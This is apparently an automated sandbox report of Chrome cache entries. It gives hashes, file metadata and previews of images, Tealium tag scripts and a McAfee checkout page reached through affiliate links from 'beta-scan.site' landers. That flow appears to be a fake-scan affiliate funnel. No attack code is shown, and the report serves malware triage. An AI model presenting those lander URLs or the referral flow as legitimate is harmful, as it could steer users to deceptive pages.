Entropy (8bit):	5.250861792482297
Encrypted:	false
SSDEEP:	48:W1az2WNX6IMj5wB/tOYpfNpIaW9wqFHQJUG6sK:W174XejuB/tw6CHQJUG6sK
MD5:	9DF9B95B2F94B6274A2AE9F72F0C77CE
SHA1:	AAC035F97F8A594C3494F1D3408759F3DF90719F
SHA-256:	348C6643B265333646015EB04A8E460B1093A89EE0B93DABF51409FED6475BCD
SHA-512:	60BDFC578CA1BA21E7318C68890A3AC19D7EB5F52AD0DEBA238BBCCED02E42149BE54EE61BDB5D7419739894892FAD9581BAF54D861EBF2D9A2B2FFE464521B4
Malicious:	false
Reputation:	low
Preview:	//tealium universal tag - utag.547 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;if(utag===undefined){utag={};}if(utag.ut===undefined){utag.ut={};}if(utag.ut.loader===undefined){u.loader=function(o){var a,b,c,l;a=document;if(o.type==="iframe"){b=a.createElement("iframe");b.setAttribute("height","1");b.setAttribute("width","1");b.setAttribute("style","display:none");b.setAttribute("src",o.src);}else if(o.type==="img"){utag.DB("Attach img: "+o.src);b=new Image();b.src=o.src;return;}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";b.src=o.src;}if(o.id){b.id=o.id;}if(typeof o.cb==="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}else{b.onreadystatechange=function(){if(this.readyState==="complete"\|\|this.readyState==="loaded"){this.onreadystatechange=null;o.cb();}};}}l=o.loc\|\|"head";c=a.getElementsByTagNa

Chrome Cache Entry: 383

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1301
Entropy (8bit):	4.4486637418988915
Encrypted:	false
SSDEEP:	24:toT8HuXMM14EQuFFxDhhC4FBT/yqg5BdWVW9MM1Xbl7fACWCkdNTiEgRYJn:48O4EBF3TC4FZyuNbeSn
MD5:	96FB9449D3D9B3DC8F226FCEED6939C1
SHA1:	E1182C0049401C5044F001A64B583F6879904391
SHA-256:	791C691A6EFF3D57C1725C4A459502D84406FAD9C59ECDA0394C7886BA0FD695
SHA-512:	E62CE20CC62033A6BFF026FE72D220B1C30D6324F340E5EEB1A1AC07A313E4E0B02FF7A4078B6209677718B4870E9276DE5AE8A2CC2DE32A5A81C6F11F8BB377
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/images/secured-lock-icon.svg
Preview:	<svg width="37" height="40" viewBox="0 0 37 40" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M6.76042 14.4114C6.76042 13.9829 7.03685 13.0957 7.7655 12.3037C8.45447 11.5548 9.50376 10.9427 11 10.9427C12.4962 10.9427 13.5455 11.5548 14.2345 12.3037C14.9632 13.0957 15.2396 13.9829 15.2396 14.4114V19.0364H6.76042V14.4114ZM4.44792 19.0364V14.4114C4.44792 13.2983 5.0194 11.873 6.06366 10.738C7.14761 9.55976 8.79624 8.63019 11 8.63019C13.2038 8.63019 14.8524 9.55976 15.9363 10.738C16.9806 11.873 17.5521 13.2983 17.5521 14.4114V19.0364H18.7083C19.5598 19.0364 20.25 19.7267 20.25 20.5781V29.8281C20.25 30.6795 19.5598 31.3698 18.7083 31.3698H3.29167C2.44023 31.3698 1.75 30.6795 1.75 29.8281V20.5781C1.75 19.7267 2.44023 19.0364 3.29167 19.0364H4.44792Z" fill="#3F4652"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M27.0001 27.3334C31.6025 27.3334 35.3334 23.6024 35.3334 19C35.3334 14.3976 31.6025 10.6667 27.0001 10.6667C22.3977 10.6667 18.6

Chrome Cache Entry: 384

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 385

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.301508290129998
Encrypted:	false
SSDEEP:	3:m8ZJ570T4X7:m+5X7
MD5:	AD8B6F08655797587CDEC719A94EFE59
SHA1:	182ADF5A140796F81E930649D05654DBF22FD5B7
SHA-256:	77D5FE96DEFD6C8C1E3B0466B4827CF83DC7E5C727A10177E115D25132FA86F6
SHA-512:	519A8EA7CE2ED8661CC72D58BC0C02E721EF8E64608F4D2E26A56A970D43EBBF21BDF579C543EE1DFD667DA8F87467C60111A3E6D246D435A5C2D066AB88EFA3
Malicious:	false
Reputation:	low
Preview:	window['google_noFurtherRedirects'] = true;

Chrome Cache Entry: 386

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	1271
Entropy (8bit):	7.0112219375593385
Encrypted:	false
SSDEEP:	24:rGDc/jca9PMmL/VVvBUcpAkgNCaBOfWoZvStV4yF9soV10BjAuEnAjX4Kj:rGo/jdlpV+cpBqCSnai10ZAzAj5
MD5:	DB0EC764227B3AE056A7D917523D241F
SHA1:	40DB6CE4747D8C948AD5587CFD83C5CE64D23172
SHA-256:	598C2E75C6C8E3373C82A60ACDBC0376E401152341B53554DF0E31FCB9A61B00
SHA-512:	EBED722DC5152D0DB63B91EF5415E6F978D4EB55FBADCD0FCC7C50B0F4C6460CA191B0BF8ADDB067B467AAB8FD39E0F32ACE784DBB5769DC4ED46431DF6FBF38
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/live_expert_assitance_icon.png
Preview:	....ftypavif....avifmif1miaf....meta.......!hdlr........pict.................pitm.........4iloc....D@.....................................(...8iinf..........infe........av01.....infe........av01.....iprp....ipco....colrnclx...........av1C........ispe.......0...4....pixi.........8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....av1C........ispe.......0...4....pixi............ipma..........................iref........auxl.........Cmdat......o.@2...@<.@./..R...e.oJ..4.,..[3...9...(7 ...\.._\.$A.?..s...b. ..2..o5..p.R..pH..H. G..].s}.$...gAz... .5.;.s.].P)........6..j........1V...1..-.A3.0.?.Gmr....,.94t...v.b.\|....P....o....,.`.<F...3+..8._....![.....<..J.#Q...+..6..3.%8...l..).D.....j.wh..>}3W.>.Y......l..E.......`...TOFG....$.M......u.]..q-B......HR...56..n&.>.z..`..G.B...-..3....`7..8.....u8V.u...5..4.....3..v.....[....F...zY.O..Mu.(].\..J..p.z. .S..z..Z.l....G...P...L1r..A.:V.'.Z........5....1.}..9..D..Fs.5zl.........o.....2...@.<....:

Chrome Cache Entry: 387

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	4.913441567863892
Encrypted:	false
SSDEEP:	96:sElG5dAYTBUXec2W3+ceFw312Y2M65A1Aws4:scGnAYA2W3rQLsr
MD5:	FD1945DDAE6F0FF107BB8F7BC937B049
SHA1:	7D770E9BA498AD670B909E7CEE3A8F4ED6A5B3B6
SHA-256:	172B28A836DE467C33540CAA978CA96D5ABF05A13B9E81711747245B788FB693
SHA-512:	6D1EF5D9E2C45D88DA0DC059608FF609F62A5D3C59A890592448A25E22726C8D9F8500D009CB12B787F9A3853DFA7F0CE3CE8733D6ADFE3DA2051FFF98A8B380
Malicious:	false
Reputation:	low
Preview:	<svg width="31" height="31" viewBox="0 0 31 31" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M16.3248 0.795012L16.0281 0.702873L15.7315 0.795012L3.52758 4.58572L2.82422 4.8042V5.54071V8.5H4.82422V6.27723L16.0281 2.79713L27.232 6.27723V8.5H29.232V5.54071V4.8042L28.5287 4.58572L16.3248 0.795012ZM29.1818 22.375H27.1352C26.9723 22.9092 26.6121 23.3716 26.1144 23.6584L18.5246 28.0322C16.9794 28.9226 15.0769 28.9226 13.5316 28.0322L5.94188 23.6584C5.44417 23.3716 5.08394 22.9092 4.92111 22.375H2.87445C3.06961 23.6303 3.82265 24.7455 4.94328 25.3912L12.533 29.765C14.6963 31.0117 17.3599 31.0117 19.5232 29.765L27.113 25.3912C28.2336 24.7455 28.9867 23.6303 29.1818 22.375Z" fill="url(#paint0_linear_100_2132)"/>.<path d="M5.86938 20.9615H4.10516V13.8746C4.10516 13.0288 4.12518 12.3582 4.16522 11.8627C4.05011 11.9828 3.90747 12.1154 3.7373 12.2606C3.57214 12.4057 3.0116 12.8661 2.05566 13.6419L1.1698 12.5233L4.39795 9.98584H5.86938V20.9615Z" fil

Chrome Cache Entry: 388

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 192 x 192, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	3837
Entropy (8bit):	7.886608667039963
Encrypted:	false
SSDEEP:	96:gn/e/Jr7KTUqNQs5R8zmrUVytsW0z/619p9oOAivphsH:g/e/F7c9Upye+9oOJvDsH
MD5:	7F85378083E2A9F1AB16790636FA6FC5
SHA1:	7D3A1D74EF1B348572FB54F4917ACB918900A3CF
SHA-256:	0E0E59EE3637C639F6ED7D36BA5243C208F70AB4471B35EE1EC7AA7C938A328A
SHA-512:	742559029D0591C9841108CC9F4A9D73C334686C1F7AE7CFF0EDD8ACEBBE2594C3BB3678B5DBCA51B764CFCB0800C3782B594639F7F340527543DA6244747BED
Malicious:	false
Reputation:	low
URL:	https://static.imghst-de.com/c30c1f52-c75e-474f-895a-8875d71846db.png
Preview:	.PNG........IHDR.............e..5....gAMA......a.....sRGB........~PLTEGpLQP]SR_RQ^fS^QP]...iS^SR`s^hRQ^RQ^RQ_RQ^RP]....;;.......//.ZZ....KK....xx.... ....9?.gj.............27.GOQP]......SR`.88~S\m.....$tRNS.5..#O.......h....m..B......J.x.........IDATx..]is...5 ...-..Lj.}..r...\|......"3y..[qn.G...-Av....~...Y?.g....../W..E....\|T......;.O.4o...1.v..YDX.-F.,....P..B........2.#...........!..>.p...T..=)-._l>c..\..X....."..^.....(Eq....F...tQ".w...[...N.x..U.R.1`.....q.!9...B.'....?.a.zF.@(.-...P......GXo1-.u...;Cb.J.h..%...^f.u......s%.J.MGA.Q..o...E..{..[...4..U...S+.KiV.A..c~.F..A..6..&.Uc..^.....AQde.7@.......WYf.o..4.C..m....HQ.....j..9..Q...i...M.(.C.n.Xs....x2.y....-..7.0.[0... %.......O.^...<.....7....<e..\|....G#....,...?.5..t..........<..../hJ.[..ZDA.>m~k.-n...%A....t.-...%y...l'RD3.j%..H..#..'-=......x:..DDHaib...@.. .....4^V.......6.;@.d..[.. ...e.......C...k.....VrX..@Jz.s............4....Z......0S.db....F..Azj.W..N,Z. ..Vt..IT.}Wl.

Chrome Cache Entry: 389

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 12 x 12, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	190
Entropy (8bit):	5.590572953266254
Encrypted:	false
SSDEEP:	3:yionv//thPlmB+4llOfgMnE2nenK93ivPs2/lRMlsLtsHswVFpBVU/GBjLHlrx/+:6v/lhPoPllOfBEKAvPs2/lRksRMFK/G4
MD5:	CBCDD444E2F65F4589EAE1C125453A6B
SHA1:	92E8D430B4A55FCC1AE0FECB04FEE7E9F44BDC26
SHA-256:	01C640E1BCCA552202589D9F4C709B3B7138C1EF470FEC1EA438EAE1577AB5BA
SHA-512:	68DFE5370E1A644729B54074DC7EFF1C951A5293750D11D2A7AF898D04F97C5754BF01AB18296EF5D30C635815F6D952F8426A36844643EBF74D53039272F883
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............[A.....PLTE............................tRNS......o..S....orNT..w.....sRGB........8IDAT.[c.2```vdpSf`0J.".f5e. ..@"@.P^..Q.A......Q..(.0E..2.<..{....IEND.B`.

Chrome Cache Entry: 390

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 17 x 17, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	362
Entropy (8bit):	6.559521883846945
Encrypted:	false
SSDEEP:	6:6v/lhP6DlkffEy2fZaaMzTaTJu8hl8Tfkbf7ksR0jugS65t9R3xJ/T2c0DYBE8aX:6v/7K0Ey2ZaaMEJphlefkz10KwPRrZ2t
MD5:	3E30AD06926082CF86EAD1E412BEF71F
SHA1:	0AFAC31F08279910FF9D41805333C79313D6263C
SHA-256:	608D9A9A58D76465F5CC3D3DB3474622B3685A23796117A229E223424E2A5A3D
SHA-512:	D21A7BEAD96452EFC64F5973FF0E32D1E15D20A1EF1A9B4122534D69BA68042D5CE9907AF2C77D5F0564102728FC13A6B39C9FE9BC86638267102E0A09C2E5B4
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/terranova/images/info_icon_red.png
Preview:	.PNG........IHDR....................QPLTE............................................................. ...................C/M....tRNS.@.... ...0..p.0.p....P.......orNT..w.....sRGB.........IDAT..U.... ..1.,-...x...`.9..~.~?.4....ODd...<.\JX.b%z...3..r.n....M{]..N.F.H.........`.....cj..K\|..Z...$...n.w....g...D..e(%.W.......jhD?.....U......IEND.B`.

Chrome Cache Entry: 391

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	downloaded
Size (bytes):	377
Entropy (8bit):	5.5857056155757725
Encrypted:	false
SSDEEP:	6:NKmsbf/lUvPnklwXENt6F1QVelWkQ9j+mhnnlFzMcI9ocF:PsL9UvPTXIU1QVewkm+mhnnlBvI9ocF
MD5:	C10BDEC858CB0CF9E6CC5865D5925746
SHA1:	697C095ED5509E5A5AF0C5EBF2380662AEFFC531
SHA-256:	B65B47A79E32335D9CA35FF59C6975D2B5808F84DA0DB88D11CE777B33E72AD9
SHA-512:	7F07C1EDF29CBC427E655B5D3FBBD123228275C55F49EF4E5C0FC1A987F4093C4736FD2DBF03C873630C4FF983D4CA8090D8785D05D7B15B638AE55165984FAC
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/images/action_2.gif
Preview:	GIF89a................0/1...GFI......~.........igg..........UTT..........ppp...zwz..._\a...............................................................................................................!.......,.............p.A ...c1l:..."S(....@..l...V..<..E..ib....P.X.L..r.D....................w...........b...Q.......B...Bd......B.........Y..B........B....C... B....BA.;

Chrome Cache Entry: 392

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 49, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1645
Entropy (8bit):	7.484864806633109
Encrypted:	false
SSDEEP:	48:hSqXx6VqlfHd1jwbnOGEBJU1oKwADMwrhgI60NpxBe:fh6clfTb5B+19BDiI7HBe
MD5:	40BB086A2E22DBD0EB8E5E46D0D6C340
SHA1:	64D53A5A0415894D444715343C9352581720088F
SHA-256:	0713275F3550440F37C115F56329F3D2B84AE02B0ED891B920D72F3EDAC0848B
SHA-512:	79CE127F799F92B4B53AF4E4AE641EAF4FBC982E1FD501AED6250269632366A3D7EDB3597D9CE30614C2584F0DB9C93EBF7D7125584CA9D12861A5E8FB53C431
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...1......u.-....PLTEGpL.....,..<....................5..#..#..5../..-..#..?..5..!..<..%..E..F..;..J..,..'.....:..=..<..1..2..L..>../..9..#........#........'..8..N..;.....'..P..(..-.....!..)..)..'..,..,..8..4..2.....7..O..:..2..7..3..;..1..>..J..2..E..;..N..L..>..J..H..=..@..A..?..A..C../..F..)..C..@..,..(..,..-..(..,..,..'..,....=.....7.....3.... @..C..D..>..C..9..:..:...........!........7..-.......%.."..!........"..!..>..&..)..0..............&..(.....;..P..Q.....;..(.....U.....#.....&..,..,....+..+..Q..P..-..1..0..P..-.....P..:..A..9..C..8..B..M..L..K..J../..A..D..I..H..7..4..5..6..@..D..E..I..I..<..G..A..5..B..<..=..G..8..F..@..<.....;..;..!..4..6..,...../..0..1..9..:..F..B..A..@..?..=..>..<..-..+..L..N....$..%..#.. ........&..(..&..'..)..3..2..8..K..J..H..I..E..D..C..P.....F....tRNS.u."..B.......3w..........w...."..............v...%...............................l,p~ ...........,S.7N.."...fK.....A.3+.......P...b.........*.......................

Chrome Cache Entry: 393

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (64401), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	856962
Entropy (8bit):	5.321569213240586
Encrypted:	false
SSDEEP:	12288:XYM2YNhTUA4D8t6sCXEKFVTwDuqgr9sO6:oM26
MD5:	1CB7B136351497C9EDAB830CC7530FC2
SHA1:	F90AF98DAA84B0DA98ADF7BD34ADA11880FC2160
SHA-256:	5AB63E8A290B5B5797471480BA8582F2FB2DA32C5A6819585288B52E99D3AAB9
SHA-512:	944E81BFFCAE381BD9C327086B8082B75B27ECFE7430DA350D7DCD0350082F333FBE709972FF1BEA6B9FB2201F0A646D1FFC1A3671A60271991621B9FA2097B3
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/en-us/ipz/feyncart/2web/payment.html?moguid=6a99f253-6888-47ce-8b47-55b36a90c42e&culture=en-us&affid=1494&SID=befc4a8b-40b2-40f9-ab4d-e33b28d32c58&cjevent=e740f130819a11ef82fd372f0a18ba73&csrc=cj&csrcl2=Creative+Clicks+USA+CN&ccoe=direct&ccoel2=am&ccstype=partnerlinks_e740f130819a11ef82fd372f0a18ba73&CID=242012&PID=101155411
Preview:	..<!DOCTYPE HTML>..<html lang="en-US">.. <head>.. <meta charset="UTF-8"/>.. <title>Antivirus Software and Internet Security For Your PC or Mac \| McAfee</title>.. <meta name="template" content="ecommerce-cart-checkout-page-template"/>.. <meta http-equiv="content-language" content="en-US"/>.. <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/>.. <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no"/>.. <meta name="robots" content="noindex,nofollow"/>.. .. Visitor API & AT.js-->... .. <script src="/content/dam/ipz/consumer/template-scripts/adobe/js/170312/propandAT.min.js"></script> .. .. ... ..<link rel="icon" type="image/vnd.microsoft.icon" href="/etc.clientlibs/mcafee-ecommerce-wcm-cartthemes/ipz/resources/favicon.ico"/>.............. .. .. .. .. .. .. .. .. <link rel="stylesheet" href="/etc.clientlibs/mcafee-ecommerce-wcm-cartthemes/ipz/theme-ecom

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	475456
Entropy (8bit):	4.08559274373202
Encrypted:	false
SSDEEP:	3072:oKagCOdCQ1K1ErYW+026QgaGecb5Ikk7lKFVipioiV4YFtKTYdnCGWanmDQzH9br:GJI/EPg3FVMuv
MD5:	35857CE82A4C2777588CFD2CB0CD7DC5
SHA1:	9E955CE82A07AC37D1A4FAC5BAD9E31894FD4461
SHA-256:	8F0BC47A8F971F44C5E5DE6F0C36B9CC5293F3F132E56FA23546EA7289AB6A98
SHA-512:	34F19FD2568807DBFC4DC3CA068C48EC89B5056EAA9FD2A9CBD6ACB5427E6CA81F568E31981B61FFE9870CE422F9AE64AA764170D1C50A83EC062C822949323B
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/etc.clientlibs/mcafee-ecommerce-wcm-cartthemes/ipz/resources/img/payment-sprite-icons.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="382" height="194" fill="none" xmlns:v="https://vecta.io/nano"><style><![CDATA[.B{fill:#fff}.C{fill-rule:evenodd}.D{fill:#000}.E{fill:#ef809f}.F{fill:#00acec}.G{fill:#003087}.H{fill:#009cde}.I{fill:#231f20}.J{fill:#26337a}.K{fill:#ec982d}.L{fill:#008061}.M{fill:#ed1b2d}.N{fill:#1677ff}.O{fill:#0994dd}.P{fill:#497dbb}.Q{fill:#00a2e5}.R{fill:#eb001b}.S{fill:#008c44}.T{fill:#f47920}.U{fill:#ee8202}.V{fill:#10298e}.W{fill:#0079be}.X{fill:#211e1f}.Y{fill:#2e3192}.Z{fill:#ee3124}.a{fill:#15395e}.b{color-interpolation-filters:sRGB} </style><g clip-path="url(#Y)"><g clip-path="url(#Z)"><use xlink:href="#u" class="B"/><g class="C"><g class="J"><path d="M15.655 15.826l1.231-7.633h1.967l-1.23 7.633h-1.967"/><use xlink:href="#v"/><use xlink:href="#w"/><use xlink:href="#x"/></g><use xlink:href="#y" class="K"/></g><path d="M2.18 1h33.84v-2H2.18v2zM37.2 2.18v19.651h2V2.18h-2zm-1.18 20.831H2.18v2h33.84v-2zM1 21.

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	104650
Entropy (8bit):	7.997612385759036
Encrypted:	true
SSDEEP:	3072:QHUDehHt1m+wZihWpWZSwOHlTTsYBPeE+Y:5AOihWpySwOF3sY4E+Y
MD5:	9935EF4CA0AEA73E21369DFCB09CD7CF
SHA1:	91123030919F8B35A40B8A7F2070120D902C7FED
SHA-256:	EA152CE6524AC5D7CC554547AE3D62499ABDF86834CECA9FBE8F50EFF6435742
SHA-512:	94058E917BE1CE2ADE048397B3D38E47E436F989BD79640ED6DD97EC11266FCABDF7D0AC4DF6E5F65AE6709BF853828089512D5BAE18C3A16DA0701BD413F1CE
Malicious:	false
Reputation:	low
URL:	https://beta-scan.site/landers/gsb/GSB/files/images/Family_Image_home.webp
Preview:	RIFF...WEBPVP8X..............VP8 N...p...........%...j4.2.u.JS.T...x\N....g.O........E...g..U.8.....?..........z.._t...@.7..;.....%...S.../.>.~os...g.oj\|..........~W.........9....^y}_.#.+.?./.....\|y.u.7.G.w.?........?......}.....g.7.o...?...\|......../.......O.?.=o}l...s.9.........a...w.O.........U......Z.1./........7..........[....xos._....7...5.;.3.W.7..?.~..\|..........m.....)...7................i.:..T.....O.O..._..m...{.........\|.......7....~x.P+....._................?.......................h......i.......).....?.B..,.....C.xRZ..'.3d..m0.fQd.H..a...tCi..!.SIA?...."....Zcn.A...:...jP%..%U.]r@W.@..G....1.....E..eE]......U...........B...\|nox.LT.R..6..\.....Z....D.D.D.D..}..p....t....h...:}?...U.js..Ox=...GiI..'..hX..H..F1?6=...H.n.c.g............d...Z....b...AT.f..oo..^.~W.g.[Pz....h..'.6K...Bguyx....j.k.z...>..,s;..O..=!.J...+8].........W.YY...!93.P2..j...Y...>d..1..1..3c...Z..o...,...Y)...:..}f#.'X....=z...W.+35._x.[...J......e.Z.

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1117)
Category:	dropped
Size (bytes):	3128
Entropy (8bit):	5.332226658762196
Encrypted:	false
SSDEEP:	96:obR1QEnN5ejImVB/MfG5aQJUGpM0Ld//gH:obFnNojImV+fG5a3GuK//gH
MD5:	E6F3F70F4156F5A23700D5B973140D28
SHA1:	E3CF8F08F6ECAB893E5AB898F583D76B2506AF90
SHA-256:	DFFA207B1F29F0E76D9002260ECF66A19D3D160638C72BC4E07F3AB11915E266
SHA-512:	9D88195C3CE0C3BC6712D1D6BA7BE0C681186A8EA579527EDC6FEEE2918E6133FE113BB0F8EF1005F7B1D629E26A7A73464F222D0A2F9291C289E56662611FC1
Malicious:	false
Reputation:	low
Preview:	//tealium universal tag - utag.361 ut4.0.202409111541, Copyright 2024 Tealium.com Inc. All Rights Reserved..try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}.var match=/ut\d\.(\d)\../.exec(utag.cfg.v);if(utag.ut.loader===undefined\|\|!match\|\|parseInt(match[1])<41){u.loader=function(o,a,b,c,l,m){utag.DB(o);a=document;if(o.type=="iframe"){m=a.getElementById(o.id);if(m&&m.tagName=="IFRAME"){b=m;}else{b=a.createElement("iframe");}o.attrs=o.attrs\|\|{};utag.ut.merge(o.attrs,{"height":"1","width":"1","style":"display:none"},0);}else if(o.type=="img"){utag.DB("Attach img: "+o.src);b=new Image();}else{b=a.createElement("script");b.language="javascript";b.type="text/javascript";b.async=1;b.charset="utf-8";}if(o.id){b.id=o.id;}for(l in utag.loader.GV(o.attrs)){b.setAttribute(l,o.attrs[l]);}b.setAttribute("src",o.src);if(typeof o.cb=="function"){if(b.addEventListener){b.addEventListener("load",function(){o.cb();},false);}else{b.onreadystatecha

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (15331), with no line terminators
Category:	downloaded
Size (bytes):	15331
Entropy (8bit):	5.6013034727675475
Encrypted:	false
SSDEEP:	384:y3bgYOWwuh/hInfDHhW0hIQwfNHTWdhhZQBEf/HVWLhRQyH1gf2nQifhHiWHQDGs:MwoZIf7gOD0l6dz2CfMVue1k2QCx/wDh
MD5:	0E098ABAB2D20BFB0D4A9A6DB577006A
SHA1:	F80674A8959B972DFF283CE8BED7C5A273FAEB3B
SHA-256:	A165CE298CB1FB884804B0C252378B6DB867E84E37A31F54ED8834CDE87DBDC6
SHA-512:	35E9FE53928DA6C8F7DF414CF792DA0F1C57D2DB639B57B9D7698909BDFB357E955DC3C69D85035AFB2428A2BB89D78C4FC2010DC453498A1611246DA56FD2FF
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/rul/740246542?random=1727968793142&cv=11&fst=1727968793142&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v883266441za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101403289~101529666~101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&ref=https%3A%2F%2Fbeta-scan.site%2F&hn=www.googleadservices.com&frm=0&tiba=Antivirus%20Software%20and%20Internet%20Security%20For%20Your%20PC%20or%20Mac%20%7C%20McAfee&npa=0&pscdl=noapi&auid=875874067.1727968793&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config
Preview:	<html><head><meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="></head><body><script>var ig_list={"interestGroups":[{"action":0,"expirationTimeInSeconds":7776000,"interestGroupAttributes":{"owner":"https://td.doubleclick.net","name":"4s875874067.1727968793","biddingLogicUrl":"https://td.doubleclick.net/td/bjs","dailyUpdateUrl":"https://td.doubleclick.net/td/update?ig_name=4s875874067.1727968793\u0026ig_key=1sNHM4NzU4NzQwNjcuMTcyNzk2ODc5Mw!2sZ3VdGg!3sAAptDV4nMGBL","trustedBiddingSignalsUrl":"https://td.doubleclick.net/td/bts","trustedBiddingSignalsKeys":["1srfVFzQ!2sZ3VdGg!3sAAptDV4nMGBL"],"userBiddingSignals":[["7741013141","8648100185","8649021483","8566718227","8649020907","6903528903","7341206780","7740963340","6905855091","6525046837","6841783601","81

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	1720
Entropy (8bit):	7.376738851178281
Encrypted:	false
SSDEEP:	24:rGDc/jcafaMmx/nVkF5E2C/pIwYzGPFpRr64eKRbE6QDxAciJfEjWbaL/BWKz00:rGo/jGdVgapNppRrJbvQ+thfaL/QB0
MD5:	2D0271A8031A3AB5BC53459CCD50DD72
SHA1:	911E862C4E888FBBEEFADDBCF495E3D43CA93287
SHA-256:	C008C212B8334A204E3C7DE2BD6EE3DD8FDD8C65F64C33E0F8BE205FC1BD6BC9
SHA-512:	A04F5F305E98DBD519CB80F36371D4A1CC0F0E758C7E7E0AC4D80637AF4AFCB50940714D9708F91983185B50C0E1F85B181BD558794FB88DEA414A5F4A2891F9
Malicious:	false
Reputation:	low
URL:	https://www.mcafee.com/content/dam/ipz/feyncart/image/icons/loyal-customer-info-icon.png
